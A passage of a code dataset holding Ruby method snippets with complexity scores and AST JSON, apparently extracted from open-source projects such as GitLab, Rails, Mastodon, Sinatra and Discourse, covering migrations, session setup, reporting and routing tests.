end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_value_from_server\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]},{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@store\"]}]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@storage\"]}]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@store\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Counter\"]},\"Store\"]},\"gen_key\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"e67e9657-1f5c-4eaa-8f49-504d3b500bd9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250915164841_create_background_operation_workers.rb","start_line":10,"raw_source":"def up\n opts = {\n if_not_exists: true,\n primary_key: [:partition, :id],\n options: 'PARTITION BY LIST (partition)'\n }\n\n create_table(:background_operation_workers, **opts) do |t|\n t.uuid :id, default: -> { \"gen_random_uuid()\" }, null: false\n t.bigint :organization_id, null: false\n t.bigint :user_id, null: false\n t.bigint :total_tuple_count\n t.bigint :partition, null: false, default: 1\n t.timestamptz :started_at\n t.timestamptz :on_hold_until\n t.timestamptz :created_at, null: false\n t.timestamptz :finished_at\n t.integer :batch_size, null: false\n t.integer :sub_batch_size, null: false\n t.integer :pause_ms, null: false, default: 100\n t.integer :max_batch_size\n t.integer :priority, null: false, limit: 2, default: 0\n t.integer :status, null: false, limit: 2, default: 0\n t.integer :interval, null: false, limit: 2\n t.text :job_class_name, null: false, limit: 100\n t.text :batch_class_name, null: false, limit: 100\n t.text :table_name, null: false, limit: 63\n t.text :column_name, null: false, limit: 63\n t.text :gitlab_schema, null: false, limit: 255\n t.jsonb :job_arguments, default: '[]'\n t.jsonb :min_cursor\n t.jsonb :max_cursor\n t.jsonb :next_min_cursor\n end\n\n add_indexes\n add_constraints\n end","complexity_score":39.9,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"PARTITION BY LIST (partition)\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"background_operation_workers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"uuid\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"gen_random_uuid()\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"total_tuple_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"partition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamptz\",{\"type\":\"sym\",\"children\":[\"started_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamptz\",{\"type\":\"sym\",\"children\":[\"on_hold_until\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamptz\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamptz\",{\"type\":\"sym\",\"children\":[\"finished_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"pause_ms\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"max_batch_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"job_class_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"batch_class_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[63]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[63]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"gitlab_schema\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"job_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"[]\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"min_cursor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"max_cursor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"next_min_cursor\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_indexes\"]},{\"type\":\"send\",\"children\":[null,\"add_constraints\"]}]}]}","id":"7a48b6f1-58ec-4b97-9bdb-9f57718ba724"} {"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1882,"raw_source":"def setup_sessions(builder)\n return unless sessions?\n\n options = {}\n options[:secret] = session_secret if session_secret?\n options.merge! sessions.to_hash if sessions.respond_to? :to_hash\n builder.use session_store, options\n end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_sessions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sessions?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_secret?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"send\",\"children\":[null,\"session_secret\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sessions\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sessions\"]},\"to_hash\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"use\",{\"type\":\"send\",\"children\":[null,\"session_store\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"ea87952a-1226-4d15-bcb4-3cbb9094058e"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/report_builder.rb","start_line":94,"raw_source":"def label\n @label ||= account.labels.find(params[:id])\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"labels\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"a7345a48-2f7d-42e7-9118-af967283af81"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/report_service.rb","start_line":53,"raw_source":"def forward_to_origin!\n return unless forward_to_origin?\n\n # Send report to the server where the account originates from\n ActivityPub::DeliveryWorker.perform_async(payload, some_local_account.id, @target_account.inbox_url)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"forward_to_origin!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forward_to_origin?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"DeliveryWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"some_local_account\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_account\"]},\"inbox_url\"]}]}]}]}","id":"45242c4a-d3bc-46d1-95e1-1ca54b8fa8d7"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/enum.rb","start_line":16,"raw_source":"def initialize(*members)\n super({})\n\n if members[0].is_a?(Hash)\n # hash\n update Hash[members[0]]\n else\n # array\n options = members.extract_options!\n start = options.fetch(:start) { 1 }\n update Hash[members.zip(start..members.count + start)]\n end\n end","complexity_score":22.43,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"members\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"start\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"zip\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"count\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]}]}]}]}]}]}]}]}","id":"719186d2-25ec-41e0-911a-a5264bb45b1b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unexpected_block_arity.rb","start_line":68,"raw_source":"def included_method?(name)\n methods.key?(name.to_s)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"included_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"methods\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}","id":"52f95076-de10-4231-8dbb-0c6fa86dafdb"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/dynamic_matchers.rb","start_line":6,"raw_source":"def respond_to_missing?(name, _)\n if self == Base\n super\n else\n super || begin\n match = Method.match(name)\n match && match.valid?(self, name)\n end\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Method\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"valid?\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"9a6c7cd1-d5f6-45d8-b305-f74c2aed3de3"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":4026,"raw_source":"def test_goodbye_should_be_available\n get \"/goodbye\"\n assert_equal \"goodbye\", @response.body\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_goodbye_should_be_available\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/goodbye\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"goodbye\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"70fd5033-eaa0-4f40-942c-56851f454370"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":245,"raw_source":"def initialize(width: IO.console_size[1])\n @width = width\n super()\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"width\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"console_size\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@width\",{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"super\",\"children\":[]}]}]}","id":"b072521a-823b-4e93-809b-760849696bc2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/jira_connect/sync_deployments_worker.rb","start_line":15,"raw_source":"def perform(deployment_id, sequence_id)\n deployment = Deployment.find_by_id(deployment_id)\n\n return unless deployment\n\n ::JiraConnect::SyncService\n .new(deployment.project)\n .execute(deployments: [deployment], update_sequence_id: sequence_id)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deployment_id\"]},{\"type\":\"arg\",\"children\":[\"sequence_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deployment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deployment\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"deployment_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployment\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JiraConnect\"]},\"SyncService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployment\"]},\"project\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployment\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update_sequence_id\"]},{\"type\":\"lvar\",\"children\":[\"sequence_id\"]}]}]}]}]}]}","id":"eeedf10a-a16a-4132-a6eb-8108af5b1dd3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820070013_remove_background_migration_jobs.rb","start_line":13,"raw_source":"def down\n with_lock_retries do\n create_table(TABLE_NAME) do |t|\n t.timestamps_with_timezone null: false\n t.integer :status, limit: 2, null: false, default: 0\n t.text :class_name, null: false\n t.jsonb :arguments, null: false\n end\n end\n\n add_check_constraint(TABLE_NAME, \"char_length(class_name) <= 200\", \"check_b0de0a5852\")\n\n add_index(TABLE_NAME,\n [:class_name, :arguments],\n name: \"index_background_migration_jobs_on_class_name_and_arguments\")\n\n add_index(TABLE_NAME,\n [:class_name, :status, :id],\n name: \"index_background_migration_jobs_on_class_name_and_status_and_id\")\n\n add_index(TABLE_NAME,\n \"((arguments ->> 2))\",\n name: \"index_background_migration_jobs_for_partitioning_migrations\",\n where: \"class_name = 'Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable'::text\")\n end","complexity_score":13.78,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"char_length(class_name) <= 200\"]},{\"type\":\"str\",\"children\":[\"check_b0de0a5852\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"sym\",\"children\":[\"arguments\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_background_migration_jobs_on_class_name_and_arguments\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_background_migration_jobs_on_class_name_and_status_and_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"((arguments ->> 2))\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_background_migration_jobs_for_partitioning_migrations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"class_name = 'Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable'::text\"]}]}]}]}]}]}","id":"7b20bec1-1af1-4ac1-a1a3-54f5b5da243c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/mentionable.rb","start_line":194,"raw_source":"def detect_mentionable_changes\n source = (changes.presence || previous_changes).dup\n\n mentionable = self.class.mentionable_attrs.map { |attr, options| attr }\n\n # Only include changed fields that are mentionable\n source.select { |key, val| mentionable.include?(key) }\n 